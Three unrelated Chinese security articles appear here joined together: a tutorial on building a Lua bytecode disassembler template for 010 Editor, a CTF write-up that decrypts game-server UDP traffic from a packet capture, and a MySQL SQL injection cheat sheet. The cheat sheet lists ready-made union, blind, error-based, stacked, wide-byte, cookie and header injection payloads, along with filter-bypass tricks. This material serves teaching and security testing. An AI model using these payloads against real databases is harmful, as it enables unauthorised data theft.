投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
****
****[**【技术分享】Lua程序逆向之Luac文件格式分析**](http://bobao.360.cn/learning/detail/4534.html)
**
**
**简介**
****
在了解完了Luac字节码文件的整体结构后，让我们把目光聚焦，放到更具体的指令格式上。
**Luac字节码指令是整个Luac最精华、也是最具有学习意义的一部分，了解它的格式与OpCode相关的知识后，对于逆向分析Luac，会有事半功倍的效果，同时，也为自己开发一款虚拟机执行模板与引擎打下良好的理论基础。**
**指令格式分析**
Luac指令在Lua中使用Instruction来表示，是一个32位大小的数值。在 **Luac.bt**
中，我们将其定义了为Inst结构体，回顾一下它的定义与读取函数：
typedef struct(int pc) {
local int pc_ = pc;
local uchar inst_sz = get_inst_sz();
if (inst_sz == 4) {
uint32 inst;
} else {
Warning("Error size_Instruction.");
}
} Inst <optimize=false>;
定义的每一条指令为uint32，这与ARM处理器等长的32位指令一样，但不同的是，Lua
5.2使用的指令只有40条，也就是说，要为其Luac编写反汇编引擎，比起ARM指令集，在工作量上要少出很多。
Luac指令完整由：OpCode、OpMode操作模式，以及不同模式下使用的不同的操作数组成。
官方5.2版本的Lua使用的指令有四种格式，使用OpMode表示，它的定义如下：
enum OpMode {iABC, iABx, iAsBx, iAx};
其中，i表示6位的OpCode；A表示一个8位的数据；B表示一个9位的数据，C表示一个9位的无符号数据；后面跟的x表示数据组合，如Bx表示B与C组合成18位的无符号数据，Ax表示A与B和C共同组成26位的无符号数据。sBx前的s表示是有符号数，即sBx是一个18位的有符号数。
ABC这些字节大小与起始位置的定义如下：
#define SIZE_C9
#define SIZE_B9
#define SIZE_Bx(SIZE_C + SIZE_B)
#define SIZE_A8
#define SIZE_Ax(SIZE_C + SIZE_B + SIZE_A)
#define SIZE_OP6
#define POS_OP0
#define POS_A(POS_OP + SIZE_OP)
#define POS_C(POS_A + SIZE_A)
#define POS_B(POS_C + SIZE_C)
#define POS_BxPOS_C
#define POS_AxPOS_A
从定义中可以看来，从位0开始，ABC的排列为A->C->B。
以小端序为例，完整的指令格式定义如下表所示：
先来看最低6位的OpCode，在Lua中，它使用枚举表示，5.2版本的Lua支持40条指令，它们的定义如下所示：
typedef enum {
/*---------------------------------------------------------------------- nameargsdescription
------------------------------------------------------------------------*/
OP_MOVE,/*A BR(A) := R(B)*/
OP_LOADK,/*A BxR(A) := Kst(Bx)*/
OP_LOADBOOL,/*A B CR(A) := (Bool)B; if (C) pc++*/
OP_LOADNIL,/*A BR(A) := ... := R(B) := nil*/
OP_GETUPVAL,/*A BR(A) := UpValue[B]*/
OP_GETGLOBAL,/*A BxR(A) := Gbl[Kst(Bx)]*/
OP_GETTABLE,/*A B CR(A) := R(B)[RK(C)]*/
OP_SETGLOBAL,/*A BxGbl[Kst(Bx)] := R(A)*/
OP_SETUPVAL,/*A BUpValue[B] := R(A)*/
OP_SETTABLE,/*A B CR(A)[RK(B)] := RK(C)*/
......
OP_CLOSE,/*A close all variables in the stack up to (>=) R(A)*/
OP_CLOSURE,/*A BxR(A) := closure(KPROTO[Bx], R(A), ... ,R(A+n))*/
OP_VARARG/*A BR(A), R(A+1), ..., R(A+B-1) = vararg*/
} OpCode;
OpCode定义的注释中，详细说明了每一条指令的格式、使用的参数，以及它的含义。以第一条OP_MOVE指令为例，它接受两个参数R(A)与R(B)，的作用是完成一个赋值操作“
**R(A) := R(B)”** 。
从指令的格式可以看出，尽管OpCode定义的注释中描述了每条指令使用的哪种OpMode，但32位的指令格式中，并没有指出到底每个OpCode对应哪一种OpMode，Lua的解决方法是单独做了一张OpMode的表格luaP_opmodes，它的定义如下：
LUAI_DDEF const lu_byte luaP_opmodes[NUM_OPCODES] = {
/* T A B C mode opcode*/
opmode(0, 1, OpArgR, OpArgN, iABC)/* OP_MOVE */
,opmode(0, 1, OpArgK, OpArgN, iABx)/* OP_LOADK */
,opmode(0, 1, OpArgN, OpArgN, iABx)/* OP_LOADKX */
,opmode(0, 1, OpArgU, OpArgU, iABC)/* OP_LOADBOOL */
,opmode(0, 1, OpArgU, OpArgN, iABC)/* OP_LOADNIL */
,opmode(0, 1, OpArgU, OpArgN, iABC)/* OP_GETUPVAL */
,opmode(0, 1, OpArgU, OpArgK, iABC)/* OP_GETTABUP */
,opmode(0, 1, OpArgR, OpArgK, iABC)/* OP_GETTABLE */
,opmode(0, 0, OpArgK, OpArgK, iABC)/* OP_SETTABUP */
,opmode(0, 0, OpArgU, OpArgN, iABC)/* OP_SETUPVAL */
,opmode(0, 0, OpArgK, OpArgK, iABC)/* OP_SETTABLE */
,opmode(0, 1, OpArgU, OpArgU, iABC)/* OP_NEWTABLE */
,opmode(0, 1, OpArgR, OpArgK, iABC)/* OP_SELF */
,opmode(0, 1, OpArgK, OpArgK, iABC)/* OP_ADD */
,opmode(0, 1, OpArgK, OpArgK, iABC)/* OP_SUB */
......
,opmode(0, 1, OpArgU, OpArgN, iABx)/* OP_CLOSURE */
,opmode(0, 1, OpArgU, OpArgN, iABC)/* OP_VARARG */
,opmode(0, 0, OpArgU, OpArgU, iAx)/* OP_EXTRAARG */
};
构成完整的OpMode列表使用了opmode宏，它的定义如下：
#define opmode(t,a,b,c,m) (((t)<<7) | ((a)<<6) | ((b)<<4) | ((c)<<2) | (m))
它将OpMode相关的数据采用一字节表示，并将其组成划分为以下几个部分：
m位，占最低2位，即前面OpMode中定义的四种模式，通过它，可以确定OpCode的参数部分。
c位，占2~3位，使用OpArgMask表示，说明C参数的类型。定义如下：
enum OpArgMask {
OpArgN, /* 参数未被使用 */
OpArgU, /* 已使用参数 */
OpArgR, /* 参数是寄存器或跳转偏移 */
OpArgK /* 参数是常量或寄存器常量 */
};
b位，占4~5位。使用OpArgMask表示，说明B参数的类型。
a位，占位6。表示是否是寄存器操作。
t位，占位7。表示是否是测试操作。跳转和测试指令该位为1。
将 **luaP_opmodes** 的值使用如下代码打印出来：
printf("opcode ver 5.2:n");
for (int i=0; i<sizeof(luaP_opmodes); i++) {
printf("0x%x, ", luaP_opmodes[i]);
}
printf("n");
输出如下：
opcode ver 5.2:
0x60, 0x71, 0x41, 0x54, 0x50, 0x50, 0x5c, 0x6c, 0x3c, 0x10, 0x3c, 0x54, 0x6c, 0x7c, 0x7c, 0x7c, 0x7c, 0x7c, 0x7c, 0x60, 0x60, 0x60, 0x68, 0x22, 0xbc, 0xbc, 0xbc, 0x84, 0xe4, 0x54, 0x54, 0x10, 0x62, 0x62, 0x4, 0x62, 0x14, 0x51, 0x50, 0x17,
可以看到，有很多指令的OpMode是相同的，比如有多条指令对应的值都是0x7c，如果OpMode的顺序经过修改，要想通过OpMode直接还原所有的指令，是无法做到的，需要配合其他方式来还原，比如Lua虚拟机对指令的处理部分。
**反汇编引擎实现**
编写反汇编引擎需要做到以下几点：
正确的识别指令的OpCode。识别该条指令对应的OpCode，了解当前指令的作用。
处理指令的参数列表。解析不同指令使用到的参数信息，与OpCode在一起可以完成指令反汇编与指令的语义转换。
指令解析。反汇编引擎应该能够支持所有的指令。
指令语义转换。完成反汇编后，加入语义转换，更加方便了解指令的意图。
处理指令依赖关系。处理语义转换时，需要处理好指令之前的关系信息。
下面，我们一条条看如何实现。
**OpCode获取**
首先是通过指令获取对应的OpCode，即传入一个32位的指令值，返回一个OpCode的名称。Lua中有一个GET_OPCODE宏可以通过指令返回对应的OpCode，定义如下：
#define GET_OPCODE(i)
(cast(OpCode, ((i)>>POS_OP) & MASK1(SIZE_OP,0)))
这个宏在010 Editor模板语法中并不支持，因此，实现上，需要编写展开后的代码，并将其定义为函数。功能上就是取32位指令的最低6位，代码如下所示：
uchar GET_OPCODE(uint32 inst) {
return ((inst)>>POS_OP) & ((~((~(Instruction)0)<<(SIZE_OP)))<<(0));
}
**参数获取**
取指令的参数，包括取指令的A、B、C、Bx、Ax、sBx等信息。前面已经介绍了它们在指令中的位偏移，因此，获取这些参数信息与获取OpCode一样，Lua中提供了GETARG_A、GETARG_B、GETARG_C、GETARG_Bx、GETARG_Ax、GETARG_sBx等宏来完成这些功能，定义如下：
#define GETARG_A(i)getarg(i, POS_A, SIZE_A)
#define GETARG_B(i)getarg(i, POS_B, SIZE_B)
#define GETARG_C(i)getarg(i, POS_C, SIZE_C)
#define GETARG_Bx(i)getarg(i, POS_Bx, SIZE_Bx)
#define GETARG_Ax(i)getarg(i, POS_Ax, SIZE_Ax)
#define GETARG_sBx(i)(GETARG_Bx(i)-MAXARG_sBx)
同样的，010 Editor模板语法不支持直接定义这些宏，需要编写展开后的代码，实现如下：
int GETARG_A(uint32 inst) {
return ((inst)>>POS_A) & ((~((~(Instruction)0)<<(SIZE_A)))<<(0));
}
int GETARG_B(uint32 inst) {
return ((inst)>>POS_B) & ((~((~(Instruction)0)<<(SIZE_B)))<<(0));
}
int GETARG_C(uint32 inst) {
return ((inst)>>POS_C) & ((~((~(Instruction)0)<<(SIZE_C)))<<(0));
}
int GETARG_Bx(uint32 inst) {
return ((inst)>>POS_Bx) & ((~((~(Instruction)0)<<(SIZE_Bx)))<<(0));
}
int GETARG_Ax(uint32 inst) {
return ((inst)>>POS_Ax) & ((~((~(Instruction)0)<<(SIZE_Ax)))<<(0));
}
int GETARG_sBx(uint32 inst) {
return GETARG_Bx(inst)-MAXARG_sBx;
}
**指令解析**
在指令解析的编写工作上，参考了luadec的反汇编引擎。它的实现主要位于luadec_disassemble()函数。这里要做的工作就是将它的所有代码与语法都进行一次010
Editor模板语法化。代码片断如下：
// luadec_disassemble() from luadec disassemble.c
string InstructionRead(Inst &inst) {
local int i = inst.inst;
OpCode o = (OpCode)GET_OPCODE(i);
/*
Printf("inst: 0x%xn", o);
*/
local int a = GETARG_A(i);
local int b = GETARG_B(i);
local int c = GETARG_C(i);
local int bc = GETARG_Bx(i);
local int sbc = GETARG_sBx(i);
local int dest;
local string line;
local string lend;
local string tmpconstant1;
local string tmpconstant2;
local string tmp;
local string tmp2;
local uchar lua_version_num = get_lua_version();
local int pc = inst.pc_;
//Printf("Inst: %sn", EnumToString(o));
switch (o) {
case OP_MOVE:
/* A B R(A) := R(B) */
SPrintf(line,"R%d R%d",a,b);
SPrintf(lend,"R%d := R%d",a,b);
break;
case OP_LOADK: //FIXME OP_LOADK DecompileConstant
/* A Bx R(A) := Kst(Bx) */
SPrintf(line,"R%d K%d",a,bc);
//Printf("OP_LOADK bc:%dn", bc);
tmpconstant1 = DecompileConstant(parentof(parentof(inst)),bc);
SPrintf(lend,"R%d := %s",a,tmpconstant1);
break;
......
case OP_CLOSURE:
{
/* A Bx R(A) := closure(KPROTO[Bx]) */
SPrintf(line,"R%d %d",a,bc);
SPrintf(lend, "R%d := closure(Function #%d)", a, bc);
break;
}
default:
break;
}
local string ss;
SPrintf(ss, "[%d] %-9s %-13s; %sn", pc, get_opcode_str(o),line,lend);
return ss;
}
上面的代码中，通过GET_OPCODE获取OpCode后，分别对它进行判断与处理，参数信息在函数的最开始获取，方便指令中使用。pc表示当前执行的指令所在位置，方便代码中做语义转换与依赖处理。代码中这一行需要注意：
DecompileConstant(parentof(parentof(inst))
因为处理指令时，需要读取指令所在Proto的常量信息，但010
Editor尴尬的模板语法不支持传递指针，也不支持引用类型作为函数的返回值，这导致无法直接读到到Proto的Constants信息。幸好新版本的010
Editor的模板语法加入了self与parentof关键字，用于获取当前结构体与父结构体的字段信息，因此，这里需要对Proto结构体进行修改，让Code结构体成为它的内联的子结构体，如下所示：
typedef struct(string level) {
local string level_ = level;
//Printf("level:%sn", level_);
//header
ProtoHeader header;
//code
//Code code;
struct Code {
uint32 sizecode <format=hex>;
local uchar inst_sz = get_inst_sz();
local int pc = 1;
if (inst_sz == 4) {
local uint32 sz = sizecode;
while (sz-- > 0) {
Inst inst(pc);
pc++;
}
} else {
Warning("Error size_Instruction.");
}
typedef struct(int pc) {
local int pc_ = pc;
local uchar inst_sz = get_inst_sz();
if (inst_sz == 4) {
uint32 inst;
} else {
Warning("Error size_Instruction.");
}
} Inst <read=InstructionRead, optimize=false>;
} code <optimize=false>;
......
// upvalue names
UpValueNames names;
} Proto <read=ProtoRead>;
然后在代码中，通过parentof(parentof(inst)就能够返回一个Proto的引用类型，然后就可以愉快的读Proto中所有的字段数据了。
**指令语义转换**
所谓语义转换，就是将直接的指令格式表示成可以读懂的指令反汇编语句。如指令0x0000C1，反汇编后，它的指令表示为“LOADK R3
K0”，LOADK为OpCode的助记符，这里取助记符时，直接通过010
Editor模板函数EnumToString()，传入OpCode名，然后去掉前面的OP_就可以获得。使用get_opcode_str()实现该功能，代码如下：
string get_opcode_str(OpCode o) {
string str = EnumToString(o);
str = SubStr(str, 3);
return str;
}
R3表示寄存器，K0表示常量1，即当前函数的Constants中索引为0的Constant。这一条指令经过语义转换后就变成了“R3 :=
xxx”，这个xxx是常量的值，需要通过DecompileConstant()获取它具体的值。
在进行语义转换时，将处理后的指令信息保存到line字符串中，将语义字符串转换到lend字符串中，处理完后输出时加在一起，中间放一个分号。如下所示是指令处理后的输出效果：
struct Inst inst[1]
[2] LOADK R3 K0 ; R3 := 1
**指令依赖处理**
指令依赖是什么意思呢？即一条指令想要完整的了解它的语义，需要依赖它前面或后面的指令，就解析该指令时，需要用到指令前面或后面的数据。
拿OP_LE指令来说，它的注释部分如下：
/*
A B C
if ((RK(B) <= RK(C)) ~= A) then pc++
*/
条件满足时，跳转去执行，否则pc向下，在编写反汇编引擎时，使用的代码片断如下：
case OP_LE:
{
/*A B Cif ((RK(B) <= RK(C)) ~= A) then pc++ */
dest = GETARG_sBx(parentof(inst).inst[pc+1].inst) + pc + 2;
SPrintf(line,"%d %c%d %c%d",a,CC(b),CV(b),CC(c),CV(c));
tmpconstant1 = RK(parentof(parentof(inst)), b);
tmpconstant2 = RK(parentof(parentof(inst)), c);
SPrintf(lend,"if %s %s %s then goto [%d] else goto [%d]",tmpconstant1,(a?invopstr(o):opstr(o)),tmpconstant2,pc+2,dest);
break;
}
dest是要跳转的目标地址，GETARG_sBx()返回的是一个有符号的跳转偏移，因为指令是可以向前与向后进行跳转的，RK宏判断参数是寄存器还是常量，然后返回它的值，这里的实现如下：
string RegOrConst(Proto &f, int r) {
if (ISK(r)) {
return DecompileConstant(f, INDEXK(r));
} else {
string tmp;
SPrintf(tmp, "R%d", r);
return tmp;
}
}
//#define RK(r) (RegOrConst(f, r))
string RK(Proto &f, int r) {
return (RegOrConst(f, r));
}
最终，OP_LE指令处理后输出如下：
struct Inst inst[35] [36] LE 0 R5 R6 ; if R5 <= R6 then goto [38] else goto [40]
其他所有的指令的处理可以参看luadec_disassemble()的代码，这里不再展开。
最后，所有的代码编写完成后，效果如图所示：
luac.bt的完整实现可以在这里找到：<https://github.com/feicong/lua_re> 。 | 社区文章 |
# L3HCTF 2021 MISC Lambda 题目详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
L3HCTF的题目质量相当高了，这次来复现一下比赛的时候差一点就解出的Lamda,
也是把自己当时比赛时候的思路和最后看了WP之后的正确思路都捋一捋，这种使用现成的项目对流量进行加密的流量题确实蛮有意思。
## 题目背景
出题人是拿一个C++的项目(ReHLDS)搭了一个CS1.6的服务器，并用客户端连接服务器，而在这同时进行了抓包，题目附件就是抓到的流量包，和虎符CTF的流量取证题目有着异曲同工之妙，都蛮好玩。
## 解题过程
flag的前几部分在地图的资源包中，可以在流量包的tcp部分看到
比如直接搜索l3h，就能看到在wav文件中存在flag，同时还发现了flag.bsp和flag.wad文件，同时这里文件路径里的cstrike也明示是cs的流量了
而对于wad文件，谷歌之
同样的，对于bsp文件
取个交集，遂与搜GCFScape
<https://nemstools.github.io/pages/GCFScape-Download.html>
在bsp中可以看到第二部分的flag
同时还有hint
说flag分为3部分
根据比赛时的hint, part3应该在后面的udp数据中，还提示说
`ReHLDS might be helpful for part 3`
github搜了一下ReHLDS, 找到一个仓库，先尝试性搜了一下端口号来验证一下我们找的项目对不对
流量包中端口号如下
而项目中的端口号为
可以看到27005是客户端，27015是服务器，显然我们八成是找对项目了
故对应流量包中，10开头的是客户端 192开头的是服务器
进一步，流量包中后续是大部分的UDP流量，则搜索`SOCK_DGRAM`找找UDP包是用哪个函数发送的
找到了对应函数，进一步去找发包sendto
定位到了是在SendPacket调用的sentto,进一步就去看又有哪些调用这个函数就行了…搁着套娃，这样一路找下去找到加密部分的函数，解密部分的函数要么就看加密的过程来逆，要么就是找项目中现成的解密函数
或者换个思路，看看issue中有没有相关的问题
这里刚好有人在issue中提问了解密部分，那我们就check一下Netchan_Process函数
这个函数中调用了一个解密函数
定义在这
然后就是要看看参数
`COM_UnMunge2(&net_message.data[8], net_message.cursize - 8, sequence &
0xFF);`
其中sequence在MSG_ReadLong中
可以看到data的前4个字节就是sequence
对照udp流量
可以看到除了第一个ffffffff是建立连接时的特征字节外，其它包的前4个字节正是每次发包对应的字节
然后sequence & 0xFF，即每个包的第一个字节是seq
前两个参数就是data和len，只不过要去掉udp的前8个字节
这里写一个so文件用python来调用从而进行解密
extern "C"
{
int _LongSwap(int l)
{
unsigned int res = __builtin_bswap32(*(unsigned int *)&l);
return *(int *)&(res);
}
const unsigned char mungify_table[] =
{
0x7A, 0x64, 0x05, 0xF1,
0x1B, 0x9B, 0xA0, 0xB5,
0xCA, 0xED, 0x61, 0x0D,
0x4A, 0xDF, 0x8E, 0xC7};
const unsigned char mungify_table2[] =
{
0x05, 0x61, 0x7A, 0xED,
0x1B, 0xCA, 0x0D, 0x9B,
0x4A, 0xF1, 0x64, 0xC7,
0xB5, 0x8E, 0xDF, 0xA0};
unsigned char mungify_table3[] =
{
0x20, 0x07, 0x13, 0x61,
0x03, 0x45, 0x17, 0x72,
0x0A, 0x2D, 0x48, 0x0C,
0x4A, 0x12, 0xA9, 0xB5};
void COM_UnMunge2(unsigned char *data, int len, int seq)
{
int i;
int mungelen;
int c;
int *pc;
unsigned char *p;
int j;
mungelen = len & ~3;
mungelen /= 4;
for (i = 0; i < mungelen; i++)
{
pc = (int *)&data[i * 4];
c = *pc;
c ^= seq;
p = (unsigned char *)&c;
for (j = 0; j < 4; j++)
{
*p++ ^= (0xa5 | (j << j) | j | mungify_table2[(i + j) & 0x0f]);
}
c = _LongSwap(c);
c ^= ~seq;
*pc = c;
}
}
}
# -*- coding: UTF-8 -*- from scapy.all import *
from ctypes import *
lib=CDLL('./dll.so')
COM_UnMunge=lib.COM_UnMunge2
pcaps = rdpcap("udp.pcap")
f=open('res','wb')
for mpacket in pcaps:
udp=mpacket[UDP]
data=bytes(udp.payload)[8:]
seq=bytes(udp.payload)[0]
c=create_string_buffer(data)
COM_UnMunge(c,len(data),seq)
print(mpacket.time,mpacket[IP].src,'->',mpacket[IP].dst)
decode_bytes=bytes(c)
print(' '.join(['%02X'%i for i in bytes(udp.payload)]))
f.write(decode_bytes)
print(decode_bytes)
f.close
简单尝试一下，第一个包输出了fakeflag.虽然是fake，但是也说明了我们的解密函数调用没问题
而在比赛期间呢，我看到解密函数之后就没怎么看源码了，就直接看数据，然后颅内简单fuzz一下，感觉是解密后的每个包的前10个字节没用，最后一个\x00没用，去掉之后直接全部dump到一个文件中再binwalk梭哈，大概的代码长这样
# -*- coding: UTF-8 -*- from scapy.all import *
from ctypes import *
lib=CDLL('./dll.so')
COM_UnMunge=lib.COM_UnMunge2
pcaps = rdpcap("udp.pcap")
f=open('res','wb')
for mpacket in pcaps:
udp=mpacket[UDP]
data=bytes(udp.payload)[8:]
seq=bytes(udp.payload)[0]
if bytes(udp.payload)[3]==192:
c=create_string_buffer(data)
COM_UnMunge(c,len(data),seq)
print(mpacket.time,mpacket[IP].src,'->',mpacket[IP].dst)
decode_bytes=bytes(c)[10:-1]
print(decode_bytes)
if b'BZ2\x00' in decode_bytes:
print('BZ2 get!')
f.write(decode_bytes)
f.close
倒是也成功梭哈出来了5个bzip包
大致看了一下这样梭出来的数据也都是正确的
只有最后一个bz2没梭出来，当时觉得很奇怪
再去看看包，发现最后一个bz2处有两块数据十分相似，只错了几个字节，当时猜测是错误了
但是修正之后也是不行，就没弄了
赛后复现的时候呢，看了看wp，才知道是冗余数据，直接删除能出了，可惜了。
而且当时读源码没仔细看，fuzz的结果是对了，但是为了了解全过程，还是再读一遍源码
在解密完成后，继续看process部分的后续代码
注意到这里其实对`sequence & (1 << 30)`做了一个简单的判定，若为真则会对解密得到的数据进行一个分块处理
这个分块流程大致如下:
1. 取1字节，非0则代表又frag_msg
2. 取4字节，作为frag_id
3. 取2字节，作为frag的偏移
4. 取2字节，作为frag的长度
然后取数据的部分在下面
inbufferid和intotalbufers两行的操作定义在net.h中
id我们前面已经知道是4字节了，则inbufferid就是id[0:2], intotalbuffers就是id[2:4]
接着根据偏移来定位位置，从而获得对应长度的数据
这里引用一下官方wp的图，更好理解
这也就刚好解释了为什么我当时fuzz出前10个字节没用，10个字节刚好是：
1. 1字节的存在fragment
2. 4字节的id
3. 2字节的偏移
4. 2字节的长度
5. 1字节的frag结束
一切都刚刚好，但是这样纯fuzz而不知道原因的话是不知道frag的长度的，这就导致了我当时没看出来有冗余数据…
然后写个脚本简单验证一下
# -*- coding: UTF-8 -*- from scapy.all import *
from ctypes import *
from Crypto.Util.number import bytes_to_long
lib=CDLL('/home/rightp4th/Desktop/dll.so')
COM_UnMunge=lib.COM_UnMunge2
pcaps = rdpcap("/home/rightp4th/Desktop/lambda_final.pcap")
f=open('res','wb')
for mpacket in pcaps.filter(lambda x:UDP in x and x[UDP].sport==27015):
# mpacket.show()
udp=mpacket[UDP]
data=bytes(udp.payload)[8:]
seq=bytes(udp.payload)[:4]
ack=bytes(udp.payload)[4:8]
if bytes_to_long(seq) & (1<<30):
c=create_string_buffer(data)
COM_UnMunge(c,len(data),seq[0])
print(mpacket.time,mpacket[IP].src,'->',mpacket[IP].dst)
decode_bytes=bytes(c)
print(decode_bytes)
if b'BZ2\x00' in decode_bytes:
print('BZ2 get!')
f.write(decode_bytes)
f.close
让他输出含有frag包的部分，得到了
这个是正常的包的长度 1035=10(frag开头)+1024(包大小)+1(\x00结尾)
而存在冗余的包的长度是
1099，很明显要长不少，进一步，按照frag的结构，图中所示frag的长度应为0x400，即1024，这和我们刚才看到的之前的包长度是一样的，故图中所示的包其实是有冗余的，应该直接舍弃后面的冗余部分
而去wireshark看看也可以发现
这个是在最后一个bzip包中的数据，我们通过长度也可以很明显的看出和前面的1070相比存在冗余，故若不考虑这个冗余的地方，直接梭哈，则会多出数据，导致bzip的crc校验失败，进而无法解压，这也就是为什么比赛期间我梭出来了前五个包，唯独这个包没梭出来，可惜
那咱再继续加一层判定即可
因为不难注意到所有的fragment包都只有一段，故就把代码简化了，如下
# -*- coding: UTF-8 -*- from scapy.all import *
from ctypes import *
import struct
lib=CDLL('/home/rightp4th/Desktop/dll.so')
COM_UnMunge=lib.COM_UnMunge2
pcaps = rdpcap("/home/rightp4th/Desktop/lambda_final.pcap")
f=open('res','wb')
for mpacket in pcaps.filter(lambda x:UDP in x and x[UDP].sport==27015):
# mpacket.show()
udp=mpacket[UDP]
data=bytes(udp.payload)[8:]
seq=bytes(udp.payload)[:4]
ack=bytes(udp.payload)[4:8]
c=create_string_buffer(data)
COM_UnMunge(c,len(data),seq[0])
print(mpacket.time,mpacket[IP].src,'->',mpacket[IP].dst)
decode_bytes=bytes(c)
if len(decode_bytes)>10:
if struct.unpack('<L', seq)[0] & (1<<30):
if len(decode_bytes)>10+struct.unpack('<h', decode_bytes[7:9])[0]+1:
print('find extra data block:')
print(decode_bytes[10+struct.unpack('<h', decode_bytes[7:9])[0]:])
decode_bytes=decode_bytes[10:10+struct.unpack('<h', decode_bytes[7:9])[0]]
f.write(decode_bytes)
print(f'finally decode data:{decode_bytes}\nlength:{len(decode_bytes)}')
f.close
但是还要注意有一个非fragment包也发送了一遍类似的冗余
基本就差了几个字节，我们也把他过滤掉, 加一个长度过滤即可
if len(decode_bytes)==65:
continue
当然也可以先全部导出然后手动过滤，过滤后直接binwalk梭
查看6872
得到第三部分flag | 社区文章 |
## 0x01 什么是SQL注入
sql注入就是一种通过操作输入来修改后台操作语句达到执行恶意sql语句来进行攻击的技术。
## 0x02 SQL注入的分类
### 按变量类型分
* 数字型
* 字符型
### 按HTTP提交方式分
* GET注入
* POST注入
* Cookie注入
### 按注入方式分
* 报错注入
* 盲注
* 布尔盲注
* 时间盲注
* union注入
### 编码问题
* 宽字节注入
## 0x03识别后台数据库
### 根据操作系统平台
**sql server** ：Windows（IIS)
**MySQL** ：Apache
### 根据web语言
**Microsoft SQL Server** ：ASP和.Net
**MySQL** ：PHP
**Oracle/MySQL** ：java
(以下是对mysql数据库的总结，其他类型数据库会不定时更新)
## 0x04 MySQL 5.0以上和MySQL 5.0以下版本的区别
MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库-- **INFORMATION_SCHEMA**
，其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。 而5.0以下没有。
**information_schema**
系统数据库，记录当前数据库的数据库，表，列，用户权限等信息
**SCHEMATA**
储存mysql所有数据库的基本信息，包括数据库名，编码类型路径等
**TABLES**
储存mysql中的表信息，包括这个表是基本表还是系统表，数据库的引擎是什么，表有多少行，创建时间，最后更新时间等
**COLUMNS**
储存mysql中表的列信息，包括这个表的所有列以及每个列的信息，该列是表中的第几列，列的数据类型，列的编码类型，列的权限，列的注释等
## 0x05 基本手工注入流程
要从select语句中获得有用的信息，必须确定该数据库中的字段数和那个字段能够输出，这是前提。
### 1\. MySQL >= 5.0
### （1）获取字段数
order by n /*通过不断尝试改变n的值来观察页面反应确定字段数*/
### （2）获取系统数据库名
在MySQL >5.0中，数据库名存放在information_schema数据库下schemata表schema_name字段中
select null,null,schema_name from information_schema.schemata
### （3）获取当前数据库名
select null,null,...,database()
### （4）获取数据库中的表
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
或
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
### （5）获取表中的字段
这里假设已经获取到表名为user
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
### （6）获取各个字段值
这里假设已经获取到表名为user，且字段为username和password
select null,group_concat(username,password) from users
### 2.MySQL < 5.0
MySQL < 5.0 没有信息数据库 **information_schema** ，所以只能手工枚举爆破（二分法思想）。
该方式通常用于盲注。
### 相关函数
**length(str)** ：返回字符串str的长度
**substr(str, pos, len)**
：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
**mid(str,pos,len)** ：跟上面的一样，截取字符串
**ascii(str)** ：返回字符串str的最左面字符的ASCII代码值
**ord(str)** ：将字符或布尔类型转成ascll码
**if(a,b,c)** ：a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0
### （1）基于布尔的盲注
and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/
### （2）基于时间的盲注
id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*提取用户名前四个字符做判断，正确就延迟4秒，错误返回1*/
## 0x06 常用注入方式
注释符：
#
-- (有空格)或--+
/**/
内联注释：
/*！...*/
### union注入
id =-1 union select 1,2,3 /*获取字段*/
### Boolean注入
id=1' substr(database(),1,1)='t'--+ /*判断数据名长度*/
### 报错注入
#### 1 floor()和rand()
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/
#### 2 extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
#### 3 updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
#### 4 geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))
#### 5 multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))
#### 6 polygon()
id=1 and polygon((select * from(select * from(select user())a)b))
#### 7 multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))
#### 8 linestring()
id=1 and linestring((select * from(select * from(select user())a)b))
#### 9 multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))
#### 10 exp()
id=1 and exp(~(select * from(select user())a))
### 时间注入
id = 1 and if(length(database())>1,sleep(5),1)
### 堆叠查询注入
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23
### 二次注入
假如在如下场景中，我们浏览一些网站的时候，可以现在注册见页面注册username=test'，接下来访问xxx.php?username=test'，页面返回id=22；
接下来再次发起请求xxx.php?id=22，这时候就有可能发生sql注入，比如页面会返回MySQL的错误。
访问xxx.php?id=test' union select
1,user(),3%23，获得新的id=40，得到user()的结果，利用这种注入方式会得到数据库中的值。
### 宽字节注入
#### 利用条件：
* [ ] 查询参数是被单引号包围的，传入的单引号又被转义符()转义，如在后台数据库中对接受的参数使用addslashes()或其过滤函数
* [ ] 数据库的编码为GBK
#### 利用方式
id = -1%DF' union select 1,user(),3,%23
在上述条件下，单引号'被转义为%5c，所以就构成了%df%5c，而在GBK编码方式下，%df%5c是一个繁体字“連”，所以单引号成功逃逸。
### Cookie注入
当发现在url中没有请求参数，单数却能得到结果的时候，可以看看请求参数是不是在cookie中，然后利用常规注入方式在cookie中注入测试即可，只是注入的位置在cookie中，与url中的注入没有区别。
Cookie: id = 1 and 1=1
### base64注入
对参数进行base64编码，再发送请求。
说明：id=1'，1的base64编码为`MSc=`，而`=`的url编码为`%3d`，所以得到以下结果：
id=MSc%3d
### XFF注入
XFF(X-Forward-For)，简称XFF头，它代表客户端真实的ip地址
X-Forward-For：127.0.0.1' select 1,2,user()
## 0x07 SQL注入绕过技术
* **大小写绕过**
* **双写绕过**
* **编码绕过** （url全编码、十六进制）
* **内联注释绕过**
* **关键字替换**
* **逗号绕过**
substr、mid()函数中可以利用from to来摆脱对逗号的利用；
